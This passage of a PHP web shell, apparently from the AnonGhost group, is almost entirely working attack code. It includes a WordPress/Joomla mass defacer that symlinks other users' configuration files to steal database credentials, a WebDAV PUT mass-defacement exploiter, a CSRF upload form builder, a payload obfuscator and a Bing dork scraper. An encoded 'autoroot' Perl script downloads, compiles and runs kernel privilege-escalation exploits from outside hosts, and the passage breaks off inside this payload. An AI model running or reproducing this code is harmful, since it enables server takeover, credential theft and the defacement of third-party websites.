index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count2++;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($count1+$count2 > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}function exec_mode_3($def_url) {$domains = @file_get_contents("/etc/named.conf");@preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);$out = array_unique($out[1]);$num = count($out);print("Total domains: $num<br><br />");$def = file_get_contents($def_url);$def = urlencode($def); $output = fopen('defaced.html', 'a+');$defaced = '';$count1 = 0;$count2 = 0;echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner("/etc/valiases/".$d));$map[$info['name']] = $d;}$dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHd
  1075. kfTsNCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcH
  1076. VibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL
  1077. 3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv
  1078. cHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRkl
  1079. MRSwgJ2RhdGEudHh0Jyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPC
  1080. R5OyRrYSsrKXsNCiAgICB3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';mkdir('plsym',0777);file_put_contents('plsym/data.txt', $_POST['man_data']);file_put_contents('plsym/plsym.cc', base64_decode($dt));chmod('plsym/plsym.cc', 0755);$wr = "Options FollowSymLinks MultiViews Indexes ExecCGInnAddType application/x-httpd-cgi .ccnnAddHandler cgi-script .ccnAddHandler cgi-script .cc";$fp = @fopen ('plsym/.htaccess','w');fwrite($fp, $wr);fclose($fp);$res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/plsym/plsym.cc'); $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/plsym/';unlink('plsym/plsym.cc');$data = file_get_contents($url);preg_match_all('/<a href="(.+)">/', $data, $match);unset($match[1][0]);$i=1;foreach($match[1] as $m){$mz = explode('##',urldecode($m));$config01 = '';$config02 = '';if($mz[1] == 'joomla.txt') {$config01 = file_get_contents($url.$m);}if($mz[1] == 'wordpress.txt') {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';if($config01 && preg_match('/dbprefix/i',$config01)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.($i++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="pink">JOOMLA</font></td>';$res = index_changer_joomla($config01, $def, $domain);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count1++;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}if($config02 && preg_match('/DB_NAME/i',$config02)){echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';$res = index_changer_wp($config02, $def);echo '<td>'.$res['output'].'</td>';if($res['cond']) {echo '<td align="center"><span class="green">DEFACED</span></td>';fwrite($output, 'http://'.$domain."<br>");$count2++;} else {echo '<td align="center"><span class="#ff0066">FAILED</span></td>';}echo '</tr>';}}echo '</table>';echo '<hr/>';echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';if($count1+$count2 > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}echo '<!DOCTYPE html><html><head><link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css"><style type="text/css">.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}input[type="radio"]{margin-top: 0;}.td2 {border-left:1px solid #ff0066;border-radius: 2px 2px 2px 2px;}.even {background-color: rgba(25, 25, 25, 0.6);}.odd {background-color: rgba(102, 102, 102, 0.6);}textarea{background: rgba(0,0,0,0.6); color: white;}.green {color:#00FF00;font-weight:bold;}.#ff0066 {color:#FF0000;font-weight:bold;}</style><script type="text/javascript">function change() {if(document.getElementById('rcd').checked == true) {document.getElementById('tra').style.display = '';} else {document.getElementById('tra').style.display = 'none';}}function hide() {document.getElementById('tra').style.display = 'none';}</script></head><body><h2 style="font-size:25px;color:white;text-align: center;font-family:orbitron;text-shadow: 6px 6px 6px black;">Wordpress and Joomla Mass Defacer</h2>';if(!isset($_POST['form_action']) && !isset($_GET['mode'])){echo '<form action="" method="post"><table align=center><tr><td><input type="radio" value="1" name="mode" checked="checked" onclick="hide();"></td><td>using /etc/named.conf ('.(is_readable('/etc/named.conf')?'<span class="green">READABLE</span>':'<span class="#ff0066">NOT READABLE</span>').')</td></tr><tr><td><input type="radio" value="2" name="mode" onclick="hide();"></td><td>using /etc/passwd ('.(is_readable('/etc/passwd')?'<span class="green">READABLE</span>':'<span class="#ff0066">NOT READABLE</span>').')</td></tr><tr><td><input type="radio" value="2" name="mode" id="rcd" onclick="change();"></td><td>manual copy of /etc/passwd</td></tr><tr id="tra" style="display: none;"><td></td><td><textarea cols="60" rows="10" name="man_data"></textarea></td></tr></table><br><input type="hidden" name="form_action" value="1"><table align=center><tr><td><b>index url: </b><input class="inputz" size="45" type="text" name="defpage" value=""></tr></td></table><center><input class="inputzbut" type="submit" value="Attack !" name="Submit"></center></form>';}$milaf_el_index = $_POST['defpage'];if($_POST['form_action'] == 1) {if($_POST['mode']==1) { exec_mode_1($milaf_el_index); }if($_POST['mode']==2) { exec_mode_2($milaf_el_index); }if($_POST['mode']==3) { exec_mode_3($milaf_el_index); }}if($_GET['mode']==1) { exec_mode_1($milaf_el_index); }echo '</body></html>';
  1081. }
  1082. }
  1083. ////////////////////// BING ////////////////////
  1084. elseif(isset($_GET['x']) && ($_GET['x'] == 'bingrb'))
  1085. {
  1086. @ini_set('output_buffering',0);
  1087. ?>
  1088. <head>
  1089. <style type="text/css">
  1090. textarea {
  1091. width: 500px;
  1092. height: 250px;
  1093. border: 1px solid white;
  1094. margin: 5px auto;
  1095. padding: 7px;
  1096. }
  1097. input[type=text] {
  1098. padding-left: 7px;
  1099. width: 250px;
  1100. height: 25px;
  1101. border: 1px solid white;
  1102. background: black;
  1103. margin: 5px auto;
  1104. }
  1105. input[type=submit] {
  1106. height: 25px;
  1107. border: 1px solid white;
  1108. background: white;
  1109. margin: 5px auto;
  1110. color: #000000;
  1111. }
  1112. </style>
  1113. </head>
  1114. <center><form method="post">
  1115. <font color=#ff0066>Bing Dork: <input type="text" name="dork" placeholder="dork" requi#fffff>
  1116. <input type="submit" name="go" value=">>">
  1117. </form>
  1118. <?php
  1119. function getsource($url, $proxy) {
  1120. $curl = curl_init($url);
  1121. curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  1122. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1123. if($proxy) {
  1124. $proxy = explode(':', autoprox());
  1125. curl_setopt($curl, CURLOPT_PROXY, $proxy[0]);
  1126. curl_setopt($curl, CURLOPT_PROXYPORT, $proxy[1]);
  1127. }
  1128. $content = curl_exec($curl);
  1129. curl_close($curl);
  1130. return $content;
  1131. }
  1132. $dork = htmlspecialchars($_POST['dork']);
  1133. $do = urlencode($dork);
  1134. if(isset($_POST['go'])) {
  1135. $npage = 1;
  1136. $npages = 30000;
  1137. $allLinks = array();
  1138. $lll = array();
  1139. while($npage <= $npages) {
  1140. $x = getsource("http://www.bing.com/search?q=".$do."&first=".$npage."", $proxy);
  1141. if($x) {
  1142. preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  1143. foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  1144. $npage = $npage + 10;
  1145. if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  1146. } else break;
  1147. }
  1148. $URLs = array();
  1149. foreach($allLinks as $url){
  1150. $exp = explode("/", $url);
  1151. $URLs[] = $exp[2];
  1152. }
  1153. $array = array_filter($URLs);
  1154. $array = array_unique($array);
  1155. $sss = count(array_unique($array));
  1156. echo "ToTaL SiTe : $sss<br>";
  1157. foreach($array as $domain) {
  1158. echo "http://$domain/<br>";
  1159. }
  1160. }
  1161. }
  1162. ////////////////////// vHost ////////////////////
  1163. ////////////////////// vHost ////////////////////
  1164. ////////////////////// vHost ////////////////////
  1165. ////////////////////// vHost ////////////////////
  1166. elseif (isset($_GET['x']) && ($_GET['x'] == 'base64')) {
  1167. ?>
  1168. <center>
  1169. <BR>
  1170. <?php
  1171. @ini_set('output_buffering',0);
  1172. @ini_set('display_errors', 0);
  1173. $text = $_POST['code'];
  1174. ?>
  1175. <form method="post"><br><br><br>
  1176. <textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
  1177. <select class='inputz' size="1" name="ope">
  1178. <option value="urlencode">URL</option>
  1179. <option value="base64">Base64</option>
  1180. <option value="ur">Convert_uu</option>
  1181. <option value="gzinflates">Gzinflate - Base64</option>
  1182. <option value="str2">Str_rot13 - Base64</option>
  1183. <option value="gzinflate">Gzinflate - Str_rot13 - Base64</option>
  1184. <option value="str">Str_rot13 - Gzinflate - Str_rot13 - Base64</option>
  1185. <option value="url">Base64 - Gzinflate - Str_rot13 - Convert_uu - Gzinflate - Base64</option>
  1186. </select>&nbsp;<input class='inputzbut' type='submit' name='submit' value='Encrypt'>
  1187. <input class='inputzbut' type='submit' name='submits' value='Decrypt'>
  1188. </form>
  1189.  
  1190. <?php
  1191. $submit = $_POST['submit'];
  1192. if (isset($submit)){
  1193. $op = $_POST["ope"];
  1194. switch ($op) {case 'base64': $codi=base64_encode($text);
  1195. break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
  1196. break;case 'gzinflate' : $codi=gzdeflate(str_rot13(base64_encode($text)));
  1197. break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
  1198. break;case 'str2' : $codi=base64_encode(str_rot13($text));
  1199. break;case 'urlencode' : $codi=rawurlencode($text);
  1200. break;case 'ur' : $codi=convert_uuencode($text);
  1201. break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
  1202. break;default:break;}}
  1203.  
  1204. $submit = $_POST['submits'];
  1205. if (isset($submit)){
  1206. $op = $_POST["ope"];
  1207. switch ($op) {case 'base64': $codi=base64_decode($text);
  1208. break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
  1209. break;case 'gzinflate' : $codi=gzinflate(str_rot13(base64_decode($text)));
  1210. break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
  1211. break;case 'str2' : $codi=str_rot13(base64_decode($text));
  1212. break;case 'urlencode' : $codi=rawurldecode($text);
  1213. break;case 'ur' : $codi=convert_uudecode($text);
  1214. break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
  1215. break;default:break;}}
  1216.  
  1217. echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
  1218.  
  1219.  
  1220. ?>
  1221. <?php
  1222.  
  1223. }
  1224. ////////////////////// DNS RAW ////////////////////
  1225. elseif (isset($_GET['x']) && ($_GET['x'] == 'dnsraw')) {
  1226. ?>
  1227. <?php
  1228. $result = array();
  1229. $result_html = '';
  1230. if (isset($_POST['domain']) && !empty($_POST['domain'])) {
  1231. $domain_regex = '/[a-zd][a-z-d.]+[a-zd]/i';
  1232. if (preg_match($domain_regex, $_POST['domain'])) {
  1233. if ($url = parse_url($_POST['domain'])) { //compatible when user post an url instead of a domain
  1234. if (isset($url['host'])) {
  1235. $result = dns_get_record($url['host'], DNS_A + DNS_AAAA + DNS_CNAME);
  1236. } else if (isset($url['path'])) {
  1237. $result = dns_get_record($url['path'], DNS_A + DNS_AAAA + DNS_CNAME);
  1238. }
  1239. }
  1240. }
  1241.  
  1242. if (empty($result)) {
  1243. $result_html = '<hr>Nothing found or Domain Invalid';
  1244. } else {
  1245. foreach($result as $r) {
  1246. reset($r);
  1247. $host = current($r);
  1248. $type = next($r);
  1249. $value = next($r);
  1250. $result_html .= sprintf("<tr><td>%s</td><td>%s</td><td>%s</td></tr>n", $host, $type, $value);
  1251. }
  1252. $result_html = "<hr>n<table>n$result_html</table>n";
  1253. }
  1254. }
  1255.  
  1256. ?><!DOCTYPE HTML>
  1257. <html xmlns="http://www.w3.org/1999/html">
  1258. <head>
  1259. <meta charset="UTF-8"/>
  1260. <style>/* somethin from bootstrap */
  1261. button,input {margin: 0;font-size: 100%;vertical-align: middle;}
  1262. hr {margin: 20px 0;border: 0;border-top: 1px solid #eeeeee;border-bottom: 1px solid #ffffff;}
  1263. label {margin-bottom: 3px;}
  1264. .form-inline {vertical-align: middle;}
  1265. table {width: 100%;text-align: center;margin: auto;}
  1266. </style>
  1267. </head>
  1268. <body>
  1269. <div style="text-align: center;width: 800px;margin: 1em auto">
  1270. <h1>Raw Dns Lookup</h1>
  1271. <form method="post">
  1272. <div class="form-inline">
  1273. <label for="domain">Domain: </label>
  1274. <input id="domain" type="text" name="domain" value="<?=empty($_POST['domain'])?'':$_POST['domain']?>">
  1275. <button type="submit">Start</button>
  1276. </div>
  1277.  
  1278. </form>
  1279. <?=$result_html?$result_html:''?>
  1280. <hr/>
  1281. <p>Server Location:
  1282. <?
  1283. $geo = json_decode(file_get_contents('http://smart-ip.net/geoip-json'));
  1284. echo $geo->countryName;
  1285. ?>
  1286. <br/>
  1287. <span>Powered by Kaizen</a></span>
  1288. </p>
  1289. </div>
  1290. </body>
  1291. </html>
  1292. <?php
  1293. }
  1294.  
  1295. ////////////////////// CSRF ////////////////////
  1296. elseif (isset($_GET['x']) && ($_GET['x'] == 'csrf')) {
  1297. echo '<center><table><tr><th><center><u>CSRF Exploiter By Kaizen</u></tr></th></center><td>';
  1298. ?> <html>
  1299. <br><br>
  1300. <center><font color=#2EFEF7>*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc
  1301. <center>
  1302. <form method="post">
  1303. URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.sitetarget.com/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
  1304. POST File: <input type="text" name="data" size="50" height="10" placeholder="Look up ^" style="margin: 5px auto; padding-left: 5px;" required><br>
  1305. <input type="submit" name="go" value="Lock!">
  1306. </form>
  1307. <?php
  1308. $url = $_POST['url'];
  1309. $data = $_POST['data'];
  1310. $submit = $_POST['go'];
  1311. if($submit) {
  1312. echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$data'><input type='submit' name='ok' value='Upload'></form";
  1313. }
  1314. ?>
  1315. </form>
  1316. </html>
  1317. <?php
  1318.  
  1319. }
  1320.  
  1321. ////////////////////// WEBDAV ////////////////////
  1322. elseif (isset($_GET['x']) && ($_GET['x'] == 'webdav')) {
  1323. ?> <center>
  1324. <table><tr><th>Webdav Exploiter by Kaizen</th></tr> <tr><td><form action="" method="POST">
  1325. <textarea name="isi" style="height:100px;width:500px">http://www.target.com/</textarea><br><br>
  1326. <textarea name="isi1" style="height:100px;width:500px">Hacked By Kaizen (Your Script)</textarea><br><br>
  1327. <input type="hidden" name="site" value="list.txt">
  1328. <input type="hidden" name="file" value="root.htm">
  1329. <center><input type="submit" style="background:white;color:#000000;padding:3px;border:0" name="go" value="&lt;&lt; Execute &gt;&gt;"></center>
  1330. </form>
  1331. </td></tr></table>
  1332. <table> <tr><th>Result Deface<br>File Location at : target.com/root.htm</th></tr> <tr><td>
  1333. <?php
  1334.  
  1335. if($_POST['go']){
  1336.  
  1337. $nama = "root.htm";
  1338. $isi = $_POST['isi1'];
  1339. $fp = fopen($nama,"w");
  1340. fputs($fp, $isi);
  1341.  
  1342. $nama = "list.txt";
  1343. $isi = $_POST['isi'];
  1344. $fp = fopen($nama,"w");
  1345. fputs($fp, $isi);
  1346.  
  1347.  
  1348.  
  1349. ?>
  1350. <link href='http://fonts.googleapis.com/css?family=Iceland' rel='stylesheet' type='text/css'>
  1351.  
  1352.  
  1353. <?php
  1354.  
  1355. # Kaizen
  1356. # AnonGhost Team
  1357. # Exploiter
  1358.  
  1359. $sites = $_POST[site];
  1360. $file = $_POST[file];
  1361. $fp = fopen($file, "r");
  1362. $buka=fopen("$sites","r");
  1363. $filesize = filesize($file);
  1364. $size=filesize("$sites");
  1365. $baca=fread($buka,$size);
  1366. $sites = explode("rn", $baca);
  1367. foreach($sites as $site){
  1368. if(preg_match("#http://#", $site)) {
  1369. $site = $site;
  1370. } else {
  1371. $site = "http://".$site;
  1372. }
  1373. $site = "$site/$file";
  1374. $ch = curl_init();
  1375. curl_setopt($ch, CURLOPT_URL, $site);
  1376. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  1377. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1378. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
  1379. curl_setopt($ch, CURLOPT_PUT, true);
  1380. curl_setopt($ch, CURLOPT_INFILE, $fp);
  1381. curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  1382. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  1383. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  1384. $exec = curl_exec($ch);
  1385. echo "$site -> ";
  1386. $su = curill($site);
  1387. if(preg_match("/hacked/i", $su)) {
  1388. echo "<font color=green>Exploit Success!!</font><br>nn";
  1389. file_put_contents("webdav_shell.htm", "$site<br>", FILE_APPEND);
  1390. } else {
  1391. echo "<font color=red>Exploit Failed</font><br>n";
  1392. }
  1393. }
  1394. }
  1395. function curill($site){
  1396. $ch = curl_init ("$site");
  1397. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  1398. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  1399. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1400. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1401. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1402. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  1403. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  1404. $data3 = curl_exec ($ch);
  1405. return $data3;
  1406. }
  1407. ?>
  1408. <?php
  1409.  
  1410. }
  1411.  
  1412. ////////////////////// AUTO ROOT ////////////////////
  1413. elseif (isset($_GET['x']) && ($_GET['x'] == 'root')) {
  1414. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:white">Autoroot Generator Coded By Mauritania Attacker</span><center><br>';
  1415. echo'<center><font color="#006600" size="2pt"><b>Special Greet To HusseiN98D</b><font/></center><br>';
  1416. echo"<p align='center'> <img border='0' src='http://www.spirit-of-metal.com/les%20goupes/R/Root/pics/logo.jpg'></p><br>";
  1417. echo'<div class="tul"><font color="007700" face="Geneva, sans-serif" style="font-size: 11pt"><font/>';
  1418.  
  1419.  
  1420. @error_reporting(0);
  1421.  
  1422. sleep(2);
  1423.  
  1424. echo "<p><b>Script Autoroot Perl Extracted Successfully.... !/ </b></p><br>";
  1425. //generate autoroot script perl
  1426. mkdir('lulZ',0755);
  1427. $shellw0rm = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KcHJpbnQgIiAgICAgICAgIEFub25HaG9zdCBTbTRzaCBhdXRvIHIwMHQgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgMjAwNSAtIDIwMTMgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOw0KcHJpbnQgIiAgICAoICBfX19fICkoICBfXyAgICkoICBfXyAgIClcX18gICBfXy8gICAgXG4iOw0KcHJpbnQgIiAgICB8ICggICAgKXx8ICggICkgIHx8ICggICkgIHwgICApICggICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICAgICBfXyl8ICgvIC8pIHx8ICgvIC8pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChcICggICB8ICAgLyB8IHx8ICAgLyB8IHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8LyAgIFxfXy8oX19fX19fXykoX19fX19fXykgICApXyggICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCQkgICAgIDE5LzA4LzIwMTQJCSAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IGxpbnV4ICwgcGVybCAkMCBsbnggICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IFN1bk9TICwgcGVybCAkMCBzdW5vcyAgICAgICAgXG4iOw0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KDQoNCmlmICgkQVJHVlswXSA9fiAibG54IiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBsbng7Y2QgbG54Iik7DQpwcmludCAiWytdIFdhaXQuLlxuIjsNCg0Kc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgd3d3LnR1eC1wbGFuZXQuZnIvcHVibGljL2hhY2svZXhwbG9pdHMva2VybmVsL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdC5jIik7DQpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L3gyIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOw0Kc3lzdGVtKCIuL3gyIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngveCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgeCIpOw0Kc3lzdGVtKCIuL3giKTsNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvdXNlbGliMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVzZWxpYjI0Iik7DQpzeXN0ZW0oIi4vdXNlbGliMjQiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdDIiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCIuL3Jvb3QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2ttb2QyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOw0Kc3lzdGVtKCIuL2ttb2QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZXhwLnNoIik7DQpzeXN0ZW0oImNobW9kIDc1NSBleHAuc2giKTsNCnN5c3RlbSgic2ggZXhwLnNoIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsNCnN5c3RlbSgiLi9lbGZsYmwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9jdzcuMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsNCnN5c3RlbSgiLi9jdzcuMyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9s